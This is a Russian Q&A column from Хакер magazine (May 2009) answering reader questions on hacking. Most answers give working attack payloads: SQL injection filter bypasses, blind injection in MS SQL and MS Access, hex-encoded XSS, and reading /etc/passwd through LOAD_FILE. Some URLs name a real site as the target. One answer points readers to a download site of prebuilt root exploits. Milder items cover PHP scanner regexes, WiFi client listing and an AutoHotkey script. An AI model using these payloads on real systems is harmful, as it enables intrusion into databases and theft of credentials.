Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 125, МАЙ 2009 г.

Hack-Faq

Евгений «Corwin» Ермаков (corwin88@mail.ru, http://secadvis.wordpress.com)

Q: У меня постоянно не компилируются экплоиты для получения root-прав на *nix-серверах, выдавая всевозможные ошибки. Может, где-то уже есть готовые к запуску сплоиты?

A: Думаю, не стоит говорить, что сплоит, скомпилированный на сторонней машине, с большой вероятностью может не выполниться на нужном сервере, а что еще хуже – и вовсе «подвесит» систему или вызовет kernel panic (хотя то же самое возможно, даже если ты скомпилил эксп на самом сервере). Поэтому всегда полезно читать комментарии автора эксплоита, оставленные в исходнике. Если на все вышесказанное тебе забить, то смело топай по адресу http://jshooter.by.ru/xpl. Там ты найдешь такие известные сплоиты, как brk, h00lyshit, ptrace, mremap, raptor и многие другие. Само собой, все эти отмычки ты должен использовать только на своем сервере :).

Q: Существует ли возможность быстро, программными средствами уничтожить содержимое жесткого диска в экстренных ситуациях?

A: На практике сам я еще не испытывал, но существует так называемый Darik's Boot and Nuke - система для быстрого удаления информации с жестких дисков. Записываешь iso'шник на CD или floppy, вставляешь при следующей загрузке в дисковод – и все. Есть возможность выбора создавать такой диск для стирания Windows-систем или Linux.

Q: Пишу Security-анализатор php-скриптов, можешь подсказать примеры уже составленных регулярок для поиска известных багов?

A: Подобный сканер написан командой acid root – и, соответственно, примеры их регэкспов:

$regex[] = array('TYPE' => 'fopen vuln','LEVEL' => '3','REGEX' => "/fopen$space((.*)$userdat(.*))/i");
$regex[] = array('TYPE' => 'crlf injection','LEVEL' => '1','REGEX' => "/mail$space((.*)$userdat(.*))/i");
$regex[] = array('TYPE' => 'cross site scripting','LEVEL' => '1','REGEX' => "/<?=$space(.*)$userdat/i");
$regex[] = array('TYPE' => 'cross site scripting','LEVEL' => '1','REGEX' => "/(print|echo|print_r|var_dump)$space(|(|")(.*)$userdat/i");

Смотри скрипты на диске.

Q: Скопился целый ряд вопросов по sql-инъекциям:

  1. Есть стандартная sql-injection, подобрал количество столбцов, но когда делаю union select, сервер выдает «Not Acceptable».
  2. Что делать, если вместо вывода нужных полей получаю Illegal mix of collations for operation 'UNION'?
  3. Для определения таблиц в MS SQL делаю запрос «http://host/script.cfm?Author_ID=9 or 1=(SELECT TOP 1 TABLE_NAME FROM NFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('logins'))--», но вместо названия следующей таблицы получаю сообщение об ошибке в синтаксисе.
  4. Как провести blind sql-инъекцию в MS Access?
  5. Есть обычная инъекция, но при этом SiXSS не выполняется. Что может быть не так? Сервер выдает «Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource...».
  6. Что за техника SQL-injection more1row?
  7. Исследовал один движок. В исходниках явно видна возможность инжектирования sql-операторов, но в итоге, ничего не происходит, хотя баг есть 100%!
  8. Не могу понять, как через слепую инъекцию можно просматривать файлы на сервере?
  9. Я так и не понял, как с помощью PROCEDURE ANALYSE() получить названия таблиц и колонок. Можешь показать на практике?

A: ОК, обо всем по порядку.

1) Скорее всего, есть фильтрация. Попробуй что-нибудь вроде UnIoN SeLEct ...

2) Разные кодировки, при этом в ошибке не указано название нужной нам. Если доступны исходники этого скрипта (cms), то смотри, какая кодировка используется в базе данных. Структура создаваемых при инсталляции таблиц находится в файле *.sql(install.sql, {cmsname}.sql и т.п.). К примеру, содержимое может быть таким:

Table structure for table `users`

CREATE TABLE IF NOT EXISTS `users` (
`uid` int(8) NOT NULL AUTO_INCREMENT,
`pass` varchar(30) COLLATE latin1_general_ci DEFAULT NULL,
...
) ENGINE=MyISAM DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci AUTO_INCREMENT=10 ;

Нужная нам кодировка - latin1, конечный запрос: host/script.php?id=10 union select 1,2,convert(pass using latin1) from users

3) Включена фильтрация кавычек. Для обхода этого ограничения «чарим» (функция char(ASCII-код_символа)) каждый символ и объединяем с помощью оператора конкатенации в MS Sql – «+». Получаем строку вроде char(108)+char(111)+char(103)+char(105)+char(110)+char(115). Но если выполнить запрос, то мы также получим синтаксическую ошибку, так как символ «+» в гет-запросах воспринимается как пробел. Поэтому переводим его с помощью любой Url Encoding/Decoding утилиты в значение %2B. В итоге, запрос принимает вид:

http://localcareers.com/seekers/articles/profile.cfm?Author_ID=9 or 1=(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (char(108)%2Bchar(111)%2Bchar(103)%2Bchar(105)%2Bchar(110)%2Bchar(115)))--

В тексте ошибки будет присутствовать название следующей таблицы.

4) Отличия от слепой инъекции в MySQL только в названиях функций, принципы одинаковые. Для примера, есть хост с данной багой, вывод, соответственно, отсутствует:

http://host/script.asp?ID=1'

Сравниваем ASCII-код первого символа строки, выдаваемого подзапросом:

http://host/script.asp?ID=1 and 1=IIF(asc(mid((select last(UserID) from users),1,1))=104,1,0)

Если код совпадает, то функция IIF возвращает 1 и логическое выражение «1 and 1=1» верно -> происходит загрузка динамического содержимого сайта. Если совпадения не происходит, то, как правило, загружается только шаблон сайта. Значит, подставляем другой ASCII-код и т.д. Справка по функциям MS Access расположена здесь - http://www.techonthenet.com/access/functions/index_alpha.php.

5) Используй 16-ричные значения символов. Если мы хотим получить простой алерт на выходе, то строка <script>alert()</script> в hex будет выглядеть так: 0x3C7363726970743E616C65727428293C2F7363726970743E, и конечный запрос «-1 union select 1,2,0x3C7363726970743E616C65727428293C2F7363726970743E».

6) В журнале(][ # 111) не так давно была статья на тему раскручивания сложных blind sql-injection без использования benchmark. Вкратце опишу, о чем идет речь. Как ты понимаешь, использование benchmark'a довольно неудобно. Нагрузка на сервер (может вообще «положить» слабый сервер на некоторое время), длительное выполнение конечного эксплоита, подбор параметров для функции benchmark - все это зачастую отбивает желание надломать таргет-хост. Но был найден альтернативный способ - провокация запроса. Как обычно, пример:

script.php?vul=1 and 1=(SELECT 1 UNION SELECT 2)

Конечно же, мы получим ошибку «mysql_query():Subquery returns more than 1 row» так как подзапрос возвращает две строки. Таким образом, мы можем организовать посимвольный перебор, как и при стандартной blind sql-injection, но в качестве одного из возможных значений возвращаемых функцией IF() сделать (SELECT 1 UNION SELECT 2).

7) Видимо, PHP на твоем сервере не настроен на показ ошибок, либо включены магические кавычки. Проверь следующие параметры в php.ini:

magic_quotes=OFF # в GPC-запросах отключаем магические кавычки;
error_reporting=E_ALL # показ ошибок;
mysql.trace_mode=ON # включен показ ошибок «мускула».

8) Есть файл /etc/passwd, его начало: root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin
Первый символ 'r', его ascii-код - 114, смотрим:

http://host/script.php?vul=1' and ascii(substring((LOAD_FILE('/etc/passwd')),1,1))=111 -> ничего не загружается;
http://host/script.php?vul=1' and ascii(substring((LOAD_FILE('/etc/passwd')),1,1))=114 -> загружается контент;
http://host/script.php?vul=1' and ascii(substring((LOAD_FILE('/etc/passwd')),1,1)) between 110 and 115 -> загружается контент.

Перенос строки в ASCII - 10. Конец строки - 13. Все манипуляции также можно проводить в HEX'e. Длину данных определяем с помощью функции length:

http://host/script.php?vul=1' and substring(length(LOAD_FILE('/etc/passwd')),1,1)='4
http://host/script.php?vul=1' and substring(length(LOAD_FILE('/etc/passwd')),2,1)='8
...

Так, мы можем посимвольно прочесть какие-либо конфиги с паролями внутри. Метод крайне неудобный и долгий, логи распухнут до немалых размеров, но, если другого выхода нет, то выбирать не приходится.

Аналогично можно использовать into_outfile, записав произвольные данные в файл (не забывай, что может помешать фильтрация кавычек, и необходимы права для записи + полный путь к директории).

Пример эксплоита, использующего load_file - http://milw0rm.com/exploits/5639. ASCII таблицу можно посмотреть здесь: http://goascii.com.

9) Полагаю, уже многие наслышаны о новом методе, но на практике мало что удается получить с помощью этой процедуры, так как слишком многое зависит от того, как выводит данные из базы уязвимый сценарий. В большинстве случаев мы либо вообще не увидим вывода, либо увидим всевозможные ошибки. Однажды MySQL выплюнул мне целый ряд ошибок, в тексте которых были указаны столбцы:

...
Warning: mysql_result() [function.mysql-result]: NAME not found in MySQL result index 19 in /var/www/virtual/host.com/htdocs/news/news.php on line 19
Warning: mysql_result() [function.mysql-result]: LOGIN not found in MySQL result index 19 in /var/www/virtual/host.com/htdocs/news/news.php on line 21
...

Теперь на примере. Есть инъекция с выводом первого столбца - http://host/script.php?vul=1 union select 1,2,3. Смотрим http://host/script.php?vul=1 PROCEDURE ANALYSE() -> jonas_chalk.article.title.

Здесь jonas_chalk - имя текущей БД, article – таблица, из которой идет выборка изначально, title - первый столбец. Получаем второй столбец с помощью limit - http://host/script.php?vul=1 limit 1,1 PROCEDURE ANALYSE() -> jonas_chalk.article.question. Изменяя значение первого аргумента limit, получаем все столбцы.
Для тех, кто не понял - мы можем получить название и столбцы только той таблицы, откуда идет выборка изначально. Более подробную информацию можно посмотреть в блоге «первооткрывателя» метода – http://pragmatk.geeksgonewild.info/2009/01/to-the-limit-and-beyond.html.

Q: По каким ключевым словам в тексте ASP-приложений стоит искать потенциальные XSS-уязвимости?

A: Если в PHP мы обращаем внимание на переменные, выводимые с помощью print/echo, то в ASP следует обратить внимание на участки кода с ключевыми словами Response, "<%=", Request.

Пример баги: <img src='<%=Request.QueryString("Param") %>'>.

Q: Объясните ситуацию. На телефоне я уже давно использую Opera Mini для серфинга, но с такой проблемой (или даже правильнее сказать – багой) столкнулся в первый раз. Перейдя как-то на стартовую страницу Google, обнаружил, что система распознала меня как некоторого пользователя. Перейдя в Gmail, увидел, что я авторизирован и там. Как это могло произойти? Неужели такая недоработка со стороны команды Opera? В качестве устройства использовалась версия для Windows Mobile.

A: Это достаточно известный баг, причем вовсе не разработчиков Opera. Вспомни, как ты устанавливал Opera Mini? Скорее всего, не из оригинального jar-файла, а с помощью готовой сборки из .cab. Это все объясняет. Инсталлировать .jar-файлы на WM не очень удобно, к тому же пользователи сталкиваются с тем, что установленный эмулятор Java часто оказывается старой версии. Чтобы облегчить жизнь пользователям, энтузиасты создают стандартные для таких систем установочные .cab-файлы, в которых включают предустановленный эмулятор Java. В итоге, установка проходит в несколько кликов, и мы получаем Java-приложение и платформу для запуска на своем WM-девайсе. В чем же подвох? В том, что для устройства при первом запуске Opera Mini генерируется свой идентификационный код, по которому в дальнейшем прокси-сервер (ускоритель и сжималка трафика) Оперы «узнает» телефон. Баг в том, что такой сгенерированный код вместе с эмулятором попал и в используемую для установки сборку. А поскольку ею воспользовался не только ты, нет ничего удивительного, что для сервера Opera Mini вы являетесь одним и тем же пользователем. С одинаковыми кукисами.

Q: Говорят, мобильные операторы запустили мобильный чат. Что это и как попробовать?

A: Действительно, в апреле «главная тройка» операторов запустила, наконец-то, услугу «чат». Еще бы: у каждого, кто этим чатом может пользоваться, давно установлена мобильная аська. Почему бы не использовать стандартные возможности системы, тем более, бесплатно? До первого июля проводится бета-тестирование, поэтому платы никто с тебя не возьмет. Настройки:

Q: Как посмотреть всех клиентов, которые в данный момент используют WiFi-сети?

A: Способов несколько:

  1. Если есть доступ к админке точки доступа, то практически на любой прошивке девайса есть вкладка со всеми текущими подключениями, где отображается MAC.
  2. На AP практически всегда используется DHCP-сервер, который выдает клиентам IP-адреса из определенного диапазона. Достаточно просканировать любым сканнером (Angry IP Scanner, www.angryziber.com - к примеру) этот диапазон, чтобы определить «живые хосты».
  3. Замечательная программа kismet (www.kismetwireless.net) содержит такую функцию по умолчанию.

Q: Хочу сделать следующую вещь: чтобы при выделении слова в любом приложении можно было нажать на горячую клавишу – и это слово отправлялось в поисковик или онлайн-переводчик. Для примера, в Google. Как это проще всего реализовать (уж больно не хочется писать специальное приложение)?

A: В такой ситуации сам Бог велел воспользоваться замечательной тулзой AutoHotkey (http://www.autohotkey.com/download) для настройки горячих клавиш в системе. После установки нужно создать новый файл *.ahk, в котором будет располагаться текст нашего сценария:

#InstallKeybdHook
#Persistent
#HotkeyInterval,100
SetKeyDelay, -1

^+c::
{
Send, ^c
Sleep 50
Run, http://www.google.com/search?q=%clipboard%
Return
}

Все просто: этот сценарий использует переменную %clipboard%, в которой хранится содержание буфера обмена, и передает его в Google URL как параметр для поиска. Как только скрипт создан, дважды кликни по нему - и в трее появится новая иконка (чтобы избавиться от нее, необходимо добавить директиву #NoTrayIcon в самое начала скрипта). Выделяем в любом приложение нужное слово, жмем заветную комбинацию клавиш <Ctrl+Shift+C> и наблюдаем, как в новом окне браузера открывается страничка Google'а с нужным нам запросом.

Содержание
ttfb: 5.1369667053223 ms